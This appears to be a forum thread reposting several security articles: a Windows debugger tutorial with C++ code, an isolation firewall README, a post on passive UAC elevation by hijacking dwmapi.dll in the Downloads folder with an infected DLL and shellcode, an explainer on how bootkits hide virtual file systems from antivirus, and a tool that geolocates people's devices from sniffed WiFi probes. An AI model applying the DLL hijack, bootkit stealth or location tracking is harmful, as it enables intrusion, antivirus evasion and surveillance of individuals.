[COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] m_bIsActive[COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][/TD] [/TR] [/TABLE] where m_dwProcessId and m_bKillOnExit are parameters provided through the Debugger constructor (see sample code). The BOOLIFY macro is also just a simple [TABLE] [TR] [TD=class: code]#define BOOLIFY(x) !!(x)[/TD] [/TR] [/TABLE] definition to encourage type safety. At this point we have a simple debugger that can attach to and detach from a target process, but cannot handle any debug events. This is where the debugging loop comes in. The Debugging Loop The core component of any debugger is the debugging loop. This is the part responsible for waiting for a debug event, processing said event, and then waiting for the next event, hence the loop. On the Windows platform, this is pretty straightforward. It’s actually straightforward enough that Microsoft wrote up a short MSDN page on what needs to be done at this step. The steps involved are that (in a loop), the debugger calls WaitForDebugEvent which waits for a debug event from the process. These debug events are enumerated here and are commonly events related to process and thread creation/destruction, loading or unloading of DLLs, any exceptions raised, or debug strings output specifically for a debugger to see. Once this function returns, it will populate a DEBUG_EVENT structure with the information related to the particular debug event. At this point, it is the debuggers job to handle the event. After handling the event, the handlers must provide a continue status to ContinueDebugEvent, which is a code telling the thread that raised the event how to carry on execution after the event was handled. For most events, i.e. CREATE_PROCESS_DEBUG_EVENT, LOAD_DLL_DEBUG_EVENT, etc, you want to continue execution since these events do not reflect anything wrong with program behavior, but are events to notify the debugger of changing process state. This is done by choosing DBG_CONTINUE as the continue status. For the exceptional cases, such as exceptions which lead to undefined program behavior such as access violations, illegal instruction execution, divides by zero, etc, the process is nearing a point of no return. The debuggers job at this point is to gather and display information relating to the crash and in most cases terminate the process. This termination can happen inside the handler itself for these exceptions, or the debugger can choose to continue the debug event with the DBG_EXCEPTION_NOT_HANDLED continue status, meaning that the debugger is relinquishing responsibility of handling this exception properly. In almost all cases, this will lead to the program terminating on its own immediately afterwards. However, there are sometimes corner cases, particularly in malware, where the process will install its own runtime exception handler as an obfuscation technique and produce its own runtime exceptions to be handled within this handler to carry out some functionality. Continuing the exception in this case would not result in a crash since the process is able to handle its own exception after the debugger forwards it along the exception handler chain. Putting cases like those aside for now, a typical debugging loop may look like the following: [TABLE] [TR] [TD="class: code"][COLOR=#0000ff]const[/COLOR] [COLOR=#0000ff]bool[/COLOR] Debugger[COLOR=#008080]::[/COLOR][COLOR=#007788]DebuggerLoop[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] DEBUG_EVENT dbgEvent [COLOR=#000080]=[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]0[/COLOR] [COLOR=#008000]}[/COLOR][COLOR=#008080];[/COLOR] DWORD dwContinueStatus [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]bool[/COLOR] bSuccess [COLOR=#000080]=[/COLOR] [COLOR=#0000ff]false[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]while[/COLOR] [COLOR=#008000]([/COLOR]m_bIsActive[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] bSuccess [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]WaitForDebugEvent[COLOR=#008000]([/COLOR][COLOR=#000040]&[/COLOR]dbgEvent, INFINITE[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#000040]![/COLOR]bSuccess[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"WaitForDebugEvent returned failure. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000ff]false[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] m_pEventHandler[COLOR=#000040]-[/COLOR][COLOR=#000080]>[/COLOR]Notify[COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR]DebugEvents[COLOR=#008000])[/COLOR]dbgEvent.[COLOR=#007788]dwDebugEventCode[/COLOR], dbgEvent[COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] dwContinueStatus [COLOR=#000080]=[/COLOR] m_pEventHandler[COLOR=#000040]-[/COLOR][COLOR=#000080]>[/COLOR]ContinueStatus[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] bSuccess [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]ContinueDebugEvent[COLOR=#008000]([/COLOR]dbgEvent.[COLOR=#007788]dwProcessId[/COLOR], dbgEvent.[COLOR=#007788]dwThreadId[/COLOR], dwContinueStatus[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#000040]![/COLOR]bSuccess[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"ContinueDebugEvent returned failure. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000ff]false[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000ff]true[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][/TD] [/TR] [/TABLE] with m_pEventHandler being responsible for registering handlers and setting a continue status to be passed along to ContinueDebugEvent. The example code registers handlers for events/exceptions and outputs information relevant to each event/exception. The style below is followed for all events and exceptions: [TABLE] [TR] [TD="class: code"]Register[COLOR=#008000]([/COLOR]DebugEvents[COLOR=#008080]::[/COLOR][COLOR=#007788]eCreateThread[/COLOR], [COLOR=#008000][[/COLOR][COLOR=#000040]&[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]const[/COLOR] DEBUG_EVENT [COLOR=#000040]&[/COLOR]dbgEvent[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000ff]auto[/COLOR] [COLOR=#000040]&[/COLOR]info [COLOR=#000080]=[/COLOR] dbgEvent.[COLOR=#007788]u[/COLOR].[COLOR=#007788]CreateThread[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"CREATE_THREAD_DEBUG_EVENT received.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Handle: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"TLS base: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Start address: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], info.[COLOR=#007788]hThread[/COLOR], info.[COLOR=#007788]lpThreadLocalBase[/COLOR], info.[COLOR=#007788]lpStartAddress[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] SetContinueStatus[COLOR=#008000]([/COLOR]DBG_CONTINUE[COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] Register[COLOR=#008000]([/COLOR]DebugEvents[COLOR=#008080]::[/COLOR][COLOR=#007788]eCreateProcess[/COLOR], [COLOR=#008000][[/COLOR][COLOR=#000040]&[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]const[/COLOR] DEBUG_EVENT [COLOR=#000040]&[/COLOR]dbgEvent[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000ff]auto[/COLOR] [COLOR=#000040]&[/COLOR]info [COLOR=#000080]=[/COLOR] dbgEvent.[COLOR=#007788]u[/COLOR].[COLOR=#007788]CreateProcessInfo[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"CREATE_PROCESS_DEBUG_EVENT received.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Handle (image file): %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Handle (process): %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Handle (main thread): %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Image base address: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Debug info file offset: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Debug info size: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"TLS base: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Start address: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], info.[COLOR=#007788]hFile[/COLOR], info.[COLOR=#007788]hProcess[/COLOR], info.[COLOR=#007788]hThread[/COLOR], info.[COLOR=#007788]lpBaseOfImage[/COLOR], info.[COLOR=#007788]dwDebugInfoFileOffset[/COLOR], info.[COLOR=#007788]nDebugInfoSize[/COLOR], info.[COLOR=#007788]lpThreadLocalBase[/COLOR], info.[COLOR=#007788]lpStartAddress[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] m_hProcess [COLOR=#000080]=[/COLOR] info.[COLOR=#007788]hProcess[/COLOR][COLOR=#008080];[/COLOR] SetContinueStatus[COLOR=#008000]([/COLOR]DBG_CONTINUE[COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR][/TD] [/TR] [/TABLE] That should be all that is really needed to get started on creating a basic debugger. This debugger features the ability attach/detach, handle debug events, and output information pertaining to these events. To test this out, we can create a simple program to generate an exception that will be caught by the debugger when it is attached. [TABLE] [TR] [TD="class: code"][COLOR=#339900]#include <stdio.h>[/COLOR] [COLOR=#339900]#include <Windows.h>[/COLOR] [COLOR=#0000ff]int[/COLOR] main[COLOR=#008000]([/COLOR][COLOR=#0000ff]int[/COLOR] argc, [COLOR=#0000ff]char[/COLOR] [COLOR=#000040]*[/COLOR]argv[COLOR=#008000][[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]printf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#FF0000]"Press enter to raise an exception.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#0000ff]void[/COLOR][COLOR=#008000])[/COLOR][COLOR=#0000dd]getchar[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR]IsDebuggerPresent[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] OutputDebugStringA[COLOR=#008000]([/COLOR][COLOR=#FF0000]"This should be seen by the debugger.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] RaiseException[COLOR=#008000]([/COLOR]STATUS_ACCESS_VIOLATION, [COLOR=#0000dd]0[/COLOR], [COLOR=#0000dd]0[/COLOR], nullptr[COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]else[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]printf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#FF0000]"Process was not being debugged.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000dd]0[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][/TD] [/TR] [/TABLE] Here is the output of the debugger upon attaching to the process and receiving the access violation: CREATE_PROCESS_DEBUG_EVENT received. Handle (image file): 4C Handle (process): 48 Handle (main thread): 44 Image base address: EE0000 Debug info file offset: 0 Debug info size: 0 TLS base: 7F03F000 Start address: 0 LOAD_DLL_DEBUG_EVENT received. Handle: 54 Base address: 77040000 Debug info file offset: 0 Debug info size: 0 Name: \\?\C:\Windows\SysWOW64\ntdll.dll LOAD_DLL_DEBUG_EVENT received. Handle: 5C Base address: 76A00000 Debug info file offset: 0 Debug info size: 0 Name: \\?\C:\Windows\SysWOW64\kernel32.dll LOAD_DLL_DEBUG_EVENT received. Handle: 50 Base address: 765D0000 Debug info file offset: 0 Debug info size: 0 Name: \\?\C:\Windows\SysWOW64\KernelBase.dll LOAD_DLL_DEBUG_EVENT received. Handle: 60 Base address: F7F0000 Debug info file offset: 0 Debug info size: 0 Name: \\?\C:\Windows\SysWOW64\msvcr120d.dll [COLOR=#ff9900]CREATE_THREAD_DEBUG_EVENT received. Handle: 64 TLS base: 7F03C000 Start address: 770EBCFC Received exception event. First chance exception: 1 Exception code: 80000003 Exception flags: 0 Exception address: 770670BC Number parameters (associated with exception): 1 Received breakpoint EXIT_THREAD_DEBUG_EVENT received. Thread 1B20 exited with code 0.[/COLOR] [COLOR=#ff0000]OUTPUT_DEBUG_STRING_EVENT received. Debug string: This should be seen by the debugger. Received exception event. First chance exception: 1 Exception code: C0000005 Exception flags: 0 Exception address: 765E2F71 Number parameters (associated with exception): 0 Received access violation Received exception event. First chance exception: 0 Exception code: C0000005 Exception flags: 0 Exception address: 765E2F71 Number parameters (associated with exception): 0 Received access violation EXIT_PROCESS_DEBUG_EVENT received. Process 390 exited with code C0000005.[/COLOR] As you can see from the output, the debugger receives a CREATE_PROCESS_DEBUG_EVENT upon attaching. This event is always the first one triggered upon a debugger attaching and lets the debugger obtain a handle to the process that lets the debugger read/write from process memory, change the processes thread contexts, etc. It also may give information about any sort of debug information relevant to the process. Following that are the events related to any loaded DLLs in the process address space. Afterwards two interesting events come up. They are a CREATE_THREAD_DEBUG_EVENT and an exception with an exception code corresponding to EXCEPTION_BREAKPOINT. These are covered in the section below. Lastly, the debugger successfully displays the debug string provided by the process, and shows the access violation also being successfully received. Since the debugger sample code does not terminate the process, you can see the exception being raised multiple times. Initially it is raised as a first chance exception, but comes back around around as a second/last chance exception since the target process was not able to handle it. The process then terminates with a status code corresponding to EXCEPTION_ACCESS_VIOLATION. What actually happens when a debugger is attached? One current mystery about the debugger output may be where those CREATE_THREAD_DEBUG_EVENT, breakpoint, and EXIT_THREAD_DEBUG_EVENT events came from. These events are triggered as a result of the debugger attaching to the process. When the DebugActiveProcess is called, it forwards on to the NtDebugActiveProcess syscall. This syscall is responsible for setting up the process to be in a debugable state, which at the very least involves changing the BeingDebugged flag of the Process Environment Block for the target process — this is how the IsDebuggerPresent function works in the target process to check if it is being debugged. Afterwards, a thread will be created in the target process. This thread will have a start address that corresponds to an 0xCC (int 3) instruction, better known as a breakpoint on x86 and x64 architectures. This is why the debugger displays as having received a breakpoint. When execution is continued, this thread exits the process begins executing normally again. Article Roadmap Future posts will be related on topics closely following the items below: Basics Adding/Removing Breakpoints, Single-stepping Call Stack, Registers, Contexts Symbols Miscellaneous Features The full source code relating to this can be found here. C++11 features were used, so MSVC 2012/2013 is most likely required. Sursa: Writing a Primitive Debugger: Part 1 (Basics) | RCE Endeavors
-
isowall – Completely Isolate A Device From The Local Network Isowall is a mini-firewall that allows you to completely isolate a device from the local network. This is for allowing infected machines Internet access, but without endangering the local network. Building This project depends upon libpcap, and of course a C compiler. On Debian, the following should work: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 [/TD] [TD=class: crayon-code]# apt-get install git gcc make libpcap-dev # git clone https://github.com/robertdavidgraham/isowall # cd isowall # make [/TD] [/TR] [/TABLE] This will put the binary isowall in the local isowall/bin directory. This should also work on Windows, Mac OS X, xBSD, and pretty much any operating system that supports libpcap. Running First, setup a machine with three network interfaces. The first network interface (like eth0) will be configured as normal, with a TCP/IP stack, so that you can SSH to it. The other two network interfaces should have no TCP/IP stack, no IP address, no anything. This is the most important configuration step, and the most common thing you’ll get wrong. For example, the DHCP software on the box may be configured to automatically send out DHCP requests on these additional interfaces. You have to go fix that so nothing is bound to these interfaces. To run, simply type: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]# ./bin/isowall --internal eth1 --external eth2 -c xxxx.conf [/TD] [/TR] [/TABLE] Configuration The following shows a typical configuration file [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums]1 2 3 4 5 6 7 8 9 10 11 12 [/TD] [TD=class: crayon-code]internal = eth1 internal.target.ip = 10.0.0.129 internal.target.mac = 02:60:8c:37:87:f3 external = eth2 external.router.ip = 10.0.0.1 external.router.mac = 66:55:44:33:22:11 allow = 0.0.0.0/0 block = 192.168.0.0/16 block = 10.0.0.0/8 block = 224.0.0.0-255.255.255.255 [/TD] [/TR] [/TABLE] You can download isowall here: master.zip Or read more here – the author can be found on Twitter here @erratarob. Sursa: isowall - Completely Isolate A Device From The Local Network - Darknet - The Darkside
-
[h=1]Passive UAC Elevation[/h] I had a cool idea for a way to get the user to passively elevate your application without socially engineering them to do so or requiring exploits. Obviously you could just go ahead and start mass infecting executables, but that would cause a lot of unforeseen problems and would also mean digitally signed applications from trusted providers would now appear as untrusted files. A good alternative would be hijacking a single dll. I won't call this a "UAC Bypass" as it still requires the user to elevate an application (just not yours). [h=2]LoadLibrary[/h] This is something most people should already know, but I'll go ahead and clarify for anyone that doesn't. When an application calls LoadLibrary on a dll but doesn't supply the full path to the file: The system will first check the KnownDlls registry key for the path, if it's not found there, then the system will the look in the directory the application was executed from, before finally looking in system paths such as system32/syswow64. If you were to write a dll to the same path as an application and give it the same name as a commonly loaded system dll, it would likely be loaded by the application instead of the real thing; However, the dll must meet the following criteria. The application must load the dll by its name and not the full path (this is common). The dll must not exist in HKLM\SYSTEM\Control\Session Manager\KnownDLLs. The dll must match the process architecture (64-bit processes will quietly skip 32-bit dlls and vice versa). The dll should exist in system32 or syswow64, special paths don't appear to work. ZeroAccess abused this method to "social engineer" the user into elevating the file. This was done by downloading the Adobe Flash installer from the official site, writing the bot's dll to the same path as the installer, then running it. When the installer was executed, the user account control popup would state that the application was from a verified publisher "Adobe Systems Incorporated" and the user would probably allow it to elevate (resulting in the elevated installer loading the bot's malicious dll). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Is it a real flash update? Is it just ZeroAccess? Nobody know.[/TD] [/TR] [/TABLE] [h=2]A Less Invasive Method[/h] What if there was a folder where 90% of the applications that require UAC elevation reside and what if it was writable from a non-elevated process? Well it turns out that folder exists: say hello to %userprofile%\Downloads\. You can probably see where I'm going with this. Although I wasn't expecting to find a dll that is loaded by most applications and meets all the criteria for a hijackable dll, after about 5 minutes of searching I found the motherload: dwmapi.dll. Not only does this dll meet all the criteria, but it appears to be loaded by all setup files... So let's make a hello world dll, name it dwmapi.dll, drop it to the downloads folder, and run a setup file. Success! The only problem here is that as soon as we start the setup it'll crash because we've replaced an important dll, however this is a fairly easy fix: dll infection. [h=2]Writing a DLL Infector[/h] My first idea was to simply add a new section header, change the NumberOfSections field in the PE header, then just append my section on to the end of the PE file. As it happens, directly after the last section header is the bound imports directory, which would be overwritten by our new section header. So after about 2 hours of writing an application to rebuild the entire PE from scratch, someone reminded me that the bound imports directory is just there to speed up the loading of imports and can simply be overwritten then disabled in the PE header. Following 15 minutes of holding CTRL + Z, I'm back to where I started and feeling a bit silly. An additional 2 lines of code has my infector working perfectly and we're ready to move on to the next step. The current infector simply disable and overwrite the bound imports directory with the new section header, append the new section to the end of the PE file, adjusts the SizeOfImage to accommodate the new section, then changes the AddressOfEntryPoint to point to our new section. All we need now is some code for the section. [h=2]The Shellcode[/h] The obvious choice was the make the new section execute shellcode so we don't have to worry about relocations or imports. The actual code is pretty simple and written using some handy FASM macros, I'll quickly run over how it works. Checks the stack to make sure that dwmapi.dll was called with DLL_PROCESS_ATTACH Navigates the PEB Ldr structure to get the base address of Kernel32 and Ntdll. Usess a simple GetProcAddress implementation to import the following functions: NtOpenProcessToken, NtQueryInformationToken, NtClose, ExpandEnvironmentStringsA, CreateProcessA. Opens the current process token and queries it to confirm the application we are running from is UAC elevated. Gets the path of cmd.exe then executes it (UAC elevated of course). Passes execution back to the real dwmapi.dll entry point so execution can continue. [h=2]Putting It All Together[/h] The final product infects dwmapi.dll with our shellcode and places it in the download folder, once the user downloads and runs a setup that requires UAC elevation, our elevated command prompt will be spawned ( Because of Wow64FsRedirect and the fact that most setups run under wow64, we can use the same code on 32-bit and 64-bit windows). I've uploaded the full infector and shellcode source to my github: https://github.com/MalwareTech/UACElevator Sursa: Passive UAC Elevation | MalwareTech
-
[h=1]Virtual File Systems for Beginners[/h] A virtual File System (VFS), sometimes referred to as a Hidden File System, is a storage technique most commonly used by kernel mode malware, usually to store components outside of the existing filesystem. By using a virtual filesystem, malware developers can both bypass antivirus scanners as well as complicating work for forensic experts. [h=2]Filesystem Basics[/h] If you're running Windows and not using hardware from the 90s, or have your OS installed on a flash drive; chances are, you're using the New Technology File System (NTFS). In order to understand how a VFS benefits malware developers, first we need to dive into a bit of filesystem basics. In this example we have a disk containing only one partition (which runs Windows). The Master Boot Record (MBR) gives the system information about the partition, such as its start sector and size. The Volume Boot Record (VBR) is the primary boot code and will load and Windows bootloader and execute it; The VBR is the first sector within the NTFS partition. $BOOT is the boot area and contains the Windows boot loader. $MFT is the Master File Table and tells the system where to find files within the filesystem. Antivirus Scans A full system scan will go through every file in the master file table and scan it, additionally the antivirus can hook the filesystem driver and scan files on creation / write. If somebody didn't want a file to be scanned, not adding an entry to the MFT would be a good start. Unfortunately, if sectors within the partition are not referenced by the MFT, they are assumed unused and likely to be overwritten as more files are written to the disk. Malware Forensics There are lots of techniques used when analyzing an infected system; however, looking for new/modified files is a common starting point for an analyst. To speed up file deletion, the system simply deletes the file's record in the MFT but leaves the actual file intact, this way the sectors can be overwritten by an new file and the system doesn't have to waste time zeroing out the old one. Due to the fact there's going to be random data left by deleted files all over the disk, it's very easy for an encrypted virtual filesystem to hide, further complicating analysis. Obviously if we can't write directly to free sectors within the partition for fear of them being overwritten, then we're going to have to write our VFS outside of the partition; What makes this possible is the fact that there is unused reserves space on both ends of the disk. [h=2]Disk Basics[/h] For people who are interested in the (very technical) reasons behind the reserved space at the beginning and end of the disk, I suggest reading this section. If you're not interested or easily confused, skip to Virtual File Systems. Space after the MBR A disk platter is divided into tracks which are divided into sectors; a single sector is 512 bytes in size and there are a fixed number of sectors per a track. As technology advanced the physical size of sectors got smaller so more sectors could be fit onto a single track; however, the MBR field that describes the number of sectors is 6 bits in size, thus can only support numbers 0 - 63, limiting the sectors per track to 63. Eventually, someone figured out that the the closer to the edge of the disk you get, the longer the tracks are and the more sectors the can hold. Nowadays the number of sectors per a track varies depending on how far away from the spindle the track is, making the sectors per a track field of the MBR totally meaningless; For compatibility reason, disks with more than 63 sectors per a track will just leave the value set at 63, the same goes for SSDs or other media that doesn't have tracks. For optimization reasons when partitioning the disk, the Windows partition manager will read the sectors per track value and align the partition on the track boundary (63 sectors per track vmeans that the MBR will be sector 0 track 0, while the start of the partition will be sector 0 track 1, leaving 62 sectors of unused space between the MBR and first partition). The only problem with aligning the partition to 63 virtual (512kb) sectors is if the disk internally used 4kb sectors, then there's going to be a huge performance penalty because 63 * 512 is not a multiple of 4kb, so the OS will constantly be writing across sector boundaries and wasting time with unnecessary Read-Modify-Write cycles. In Windows Vista and onward Microsoft addresses this issue by starting the partition on the 2048th sector (leaving 1 MB of reserved space and 4kb aligning the partition), nobody is exactly sure why they chose to leave so much space, but when it comes to malware, 1 MB is a lot of storage. Space at then end of the disk Because the space at the start of the disk can be pretty small and isn't guaranteed on GPT systems, the space at the end may be a better bet. When allocating a partition, the Windows partition manager will end the partition before the end of the disk to leave space for dynamic disk information. As it happens, dynamic disks are incredibly rare on most computers because they're only used for software RAID and other black magic, which leave between 1 mb and 100 mb of space at the end of the disk. [h=2]Virtual File System[/h] The location of the Virtual File System depends on the space needed and the system specifications, here's a quick overview of the reserved space. Start Of Disk On XP systems using the MBR partition format you are guaranteed 62 sectors (31.7 KB) of space between the MBR and the first partition. On Vista+ systems using the MBR partition format you are guaranteed 2047 sectors (1 MB) of space between the MBR and the first partition. Because the GUID Partition Table (GPT) is of variable size and not restricted to 1 sector like the MBR, it is uncertain how much space will be available on systems using the GPT. Other than by the GPT, this space is never used by windows. End Of Disk Between 1 MB and 100 MB, there doesn't appear to be any OS specifications for the exact size so the variation is likely to do with disk geometry (Ex: 1 disk track is reserved). Some of the space can be used for dynamic disk information (most system do not use dynamic disks unless using software RAID). Contrary to popular belief, a VFS can be created and accessed by a user mode application, as long as it is running as administrator. To prevent malware from bypassing kernel code signing, raw disk access was "disabled" in vista and onward; however, there is an exception for boot sectors and sectors residing outside of the filesystem (both reserved areas reside outside the filesystem), enabling user mode access to the VFS. Although, direct user mode access is possible, most malware tends to manage the VFS from a kernel driver and expose an API to user mode components for reading/writing via the driver; This allows the VFS to be hidden from normal applications and other drivers. It's quite common for a VFS driver to send requests directly to the lowest level disk driver (the disk miniport), as a result the disk read/write requests cannot be intercepted by the antivirus or any standard disk monitors, providing better stealth. Although you could write standard files using this method, ntfs.sys handles the NTFS specification, so you'd have to create your own ntfs driver which would be a lot of work especially as NTFS is not fully documented by Microsoft. The actual format of the VFS is entirely dependent on the developer, some have chosen to use FAT32 with RC4 encryption, whilst others use custom file systems with modified encryption algorithms. Almost always the VFS is encrypted in an attempt to make the data look like random leftover bytes and not executables or log files. Bootkits most commonly use a VFS because it reduces the attack surface to a single point of attack: The infected bootloader reads the rootkit driver from the VFS and loads it into the kernel long before the antivirus, leaving the kernel driver time to install hooks and cover its tracks before the OS even initializes. A bootkit using a VFS driver has only one weakness: The infected boot record; this can be easily resolved by using the bootkit's driver to hook the disk miniport and spoof read/write requests to the boot sector, tricking the AV into thinking the boot sector contains the original Windows boot code, the same method can also be used to just display empty sectors if something other than the rootkit tries to read the VFS. Sursa: Virtual File Systems for Beginners | MalwareTech
-
iSniff GPS iSniff GPS passively sniffs for SSID probes, ARPs and MDNS (Bonjour) packets broadcast by nearby iPhones, iPads and other wireless devices. The aim is to collect data which can be used to identify each device and determine previous geographical locations, based solely on information each device discloses about previously joined WiFi networks. iOS devices transmit ARPs which sometimes contain MAC addresses (BSSIDs) of previously joined WiFi networks. iSniff GPS captures these ARPs and submits MAC addresses to Apple’s WiFi location service (masquerading as an iOS device) to obtain GPS coordinates for a given BSSID. If only SSID probes have been captured for a particular device, iSniff GPS can query network names on wigle.net and visualise possible locations. By geo-locating multiple SSIDs and WiFi router MAC addresses, it is possibleto determine where a device (and by implication its owner) is likely to have been. Components iSniff GPS contains 2 major components and further python modules: iSniff_import.py uses Scapy to extract data from a live capture or pcap file and inserts it into a database (iSniff_GPS.sqlite3 by default). A Django web application provides a browser-based interface to view and analyse the data collected. This includes views of all detected devices and the SSIDs / BSSIDs each has probed for, a view by network, Google Maps views for visualising possible locations of a given BSSID or SSID, and a pie chart view showing a breakdown of the most popular device manufacturers based on client MAC address Ethernet OUIs. wloc.py provides a QueryBSSID() function which looks up a given BSSID (AP MAC address) on Apple’s WiFi location service. It will return the coordinates of the MAC queried for and usually an additional 400 nearby BSSIDs and their coordinates. wigle.py provides a getLocation() function for querying a given SSID on the wigle.net database and returns GPS coordinates. It must be configured with a valid wigle.net auth cookie. Please respect the wigle.net ToS in using this module. Instructions To use the web interface: Install or update required Python modules by running pip install -U -r requirements.txt. Initialise an empty database by running ./manage.py syncdb. Start the web interface by running ./manage.py runserver 127.0.0.1:8000. To sniff wifi traffic: Install Scapy Import data from a wifi pcap capture by running ./run.sh -r <chan11.pcap> For live capture, bring up a wifi interface in monitor mode (usually mon0) so that airodump-ng shows traffic. Start live sniffing with ./run.sh -i mon0. Dependencies iSniff GPS was developed on a Ubuntu 12.04 (32-bit) VM with Python 2.7.3, Django 1.5.4 and Scapy 2.2.0-dev. The web interface code has been updated and tested with Django 1.7.1 running on Mac OS X Yosemite with Python 2.7.8. Network sniffing has not been tested on Mac OS X. Source && Download Sursa: iSniff GPS - Passiv SSID sniffer
-
